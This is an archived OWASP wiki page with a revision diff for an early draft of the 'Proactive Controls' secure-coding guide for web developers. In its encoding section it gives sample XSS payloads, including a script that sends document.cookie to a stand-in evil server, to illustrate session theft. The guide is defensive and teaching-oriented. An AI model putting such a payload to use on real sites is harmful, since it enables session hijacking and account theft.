This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Difference between revisions of "OWASP Proactive Controls"
(→4) Identity and Authentication) |
(fleshing out Data Protection) |
||
Line 128: | Line 128: | ||
== 9) Data Protection == | == 9) Data Protection == | ||
− | + | ||
− | + | = Encryption in Transit = | |
− | + | ||
− | + | A decision must be made to determine the appropriate method to protect data when it is being transmitted. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. | |
+ | |||
+ | SSL/TLS is under fire. There is a significant recent history of flaws within the SSL/TLS standards. These include SSL Stripping (2009), Insecure renegotiation (2009), BEAST (2011), CRIME (2013), Lucky 13 (2013), Weakness with the RC4 cipher (2013), Forward Secrecy (2013) and BREACH (2013). | ||
+ | |||
+ | Not only are there multiple weaknesses with the standards and ciphers used in SSL/TLS, but the Certificate Authority system is dubious at best. | ||
+ | |||
+ | For more information on proper SSL/TLS configuration, please see the [[Transport Layer Protection Cheat Sheet]]. For information on protecting your application incompetent or malicious certificate authorities, please see the [[Pinning Cheat Sheet]] | ||
+ | |||
+ | = Encryption at Rest = | ||
+ | |||
+ | For more information on low level decisions necessary when encrypting data at rest, please see the [[Cryptographic Storage Cheat Sheet]]. | ||
== 10) Logging, Error Handling and Intrusion Detection == | == 10) Logging, Error Handling and Intrusion Detection == |
Revision as of 10:47, 22 August 2013
- Project About
- OWASP Top Ten Proactive Controls
- Encryption in Transit
- Encryption at Rest
- Project Roadmap
PROJECT INFO What does this OWASP project offer you? |
RELEASE(S) INFO What releases are available for this project? | |||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|
It is not easy to build a secure, low-risk or risk-managed web application. Firewalls, “policy” and other traditional information security measures serve as either an incomplete or useless measure in the pursuit of web application security.
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It’s also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it’s comes to web security, developers are often set up to lose the security game.
This document was written by developers, for developers to assist those new to secure development. It aims to guide developers and other software development professionals down the path of secure web application software development.
This document is neither scientific nor complete. In fact it’s a bit misguided. There are more than 10 issues that developers need to be aware of. Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire cheat-sheet series team whose content has been pulled from liberally for this document.
Introducing the OWASP Top Ten and one half Proactive Controls 2013.
1) Secure Requirements
- Core requirements for any project (technical) - Business logic requirements (project specific)
2) Secure Architecture and Design
- When to use request, session or database for data flow
3) Leverage secure coding frameworks and libraries
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws. Web application security frameworks to consider include:
- Apache Shiro : http://shiro.apache.org/
- OWASP ESAPI : https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
4) Identity and Authentication
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.
For more information, please see the Authentication Cheat Sheet, the Password Storage Cheat Sheet, the Forgot Password Cheat Sheet and the Session Management Cheat Sheet.
5) Access Control
- Permission based access control - Limits of RBAC
6) Query Parametrization
There have been many high visibility attacks against web applications that can be traced back to a SQL injection attack. SQL Injection is perhaps one of the most dangerous web application risk due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is quite devastating. Businesses, governments and social network sites have all fallen victim to this attack making it a fairly universal problem. Various statistical studies has shown that between 7 to 10% of all websites still contain SQL Injection. While many cite the problem of SQL injection as a vendor issue, process issues, or issue that is impossible to fix, ultimately it’s a developer programming issue that can be quite simple to fix in comparison to other security issues.
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.
Here is an example of query parameterization in Java:
String newName = request.getParameter("newName"); String id = request.getParameter("id"); PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id);
Here is an example of query parameterization in PHP:
$email = $_REQUEST[‘email’]; $ id’= $_REQUEST[‘id’]; $stmt = $dbh->prepare(”update users set email=:new_email where id=:user_id”); $stmt->bindParam(':new_email', $email); $stmt->bindParam(':user_id', $id);
7) Validation
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like. Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.
Let’s start with the following regular expression for the username.
^[a-z0-9_]{3,16}$
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example.
Here is an example regular expression for the password field.
^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).
^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text. There are several available at OWASP that are simple to use:
Input validation is important layer within a secure web application. However, it’s not the only important layer. What would a regular expression look like for a comments field that allows users to provide feedback to a news article? Uppercase letters, lowercase letters, all punctuation marks and numbers would need to be allowed to allow users to provide complete sentences. Unfortunately, this field requires characters that could (1) cause harm but are (2) necessary for the functionality required in an open comments field.
Here we illustrate one of the unfortunate truisms about input validation: input validation does not always make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.
Developers cannot consider security in isolation. This is the essence of a well written secure application: being able to handle dangerous attack strings without harming either functionality or security.
8) Encoding
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.
Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in users browsers and can have a wide variety of effects.
For example:
XSS site defacement:
<script>document.body.innerHTML(“Jim was here”);</script>
XSS session theft:
<script> var img = new Image(); img.src="hxxp://<some evil server>.com?” + document.cookie; </script>
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem. This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.
Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched. This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.
Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.
For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
9) Data Protection
A decision must be made to determine the appropriate method to protect data when it is being transmitted. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit.
SSL/TLS is under fire. There is a significant recent history of flaws within the SSL/TLS standards. These include SSL Stripping (2009), Insecure renegotiation (2009), BEAST (2011), CRIME (2013), Lucky 13 (2013), Weakness with the RC4 cipher (2013), Forward Secrecy (2013) and BREACH (2013).
Not only are there multiple weaknesses with the standards and ciphers used in SSL/TLS, but the Certificate Authority system is dubious at best.
For more information on proper SSL/TLS configuration, please see the Transport Layer Protection Cheat Sheet. For information on protecting your application incompetent or malicious certificate authorities, please see the Pinning Cheat Sheet
For more information on low level decisions necessary when encrypting data at rest, please see the Cryptographic Storage Cheat Sheet.
10) Logging, Error Handling and Intrusion Detection
- Information leakage avoidance - Attack detection - Proper error handling workflow
Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source.
Status
- We are currently seeking volunteers who will help developing stub/empty articles listed bellow and bring it up to a production level of quality. Join us now to take part in this historic effort, just drop a line to Jim Manico and Andrew van der Stock!
What's In It?
Original list from Andrew
- Security Architecture (including incorporating agile ideas)
- Use a (more) secure development frameworks and leverage enterprise frameworks (UAG, etc)
- Input validation
- Output Encoding
- Identity: Authentication and Session Management
- Access Control (service / controller, data, URL, function / CSRF, presentation, etc)
- Data Protection (Data at rest, including in cloud)
- Audit, Logging and Error Handling
- Secure Configuration
- Secure Communications (Data in transit)
Suggested changes by Jim
- Identity: Authentication and Session Management (same as you)
- Access Control: (service / controller, data, URL, function / CSRF, presentation, etc) (same as you)
- Query Parametrization: (this is not encoding or validation, but is essentially a per-compiled query plan into tabular data)
- Input validation (same)
- Output Encoding (same)
- Data Protection: (Data at rest, including in cloud, data in transport)
- Leverage secure development frameworks and libraries (Shiro, ESAPI, etc)
- Secure Requirements
- Secure Design and Architecture
- Audit, Logging, Error handling and Intrusion Detection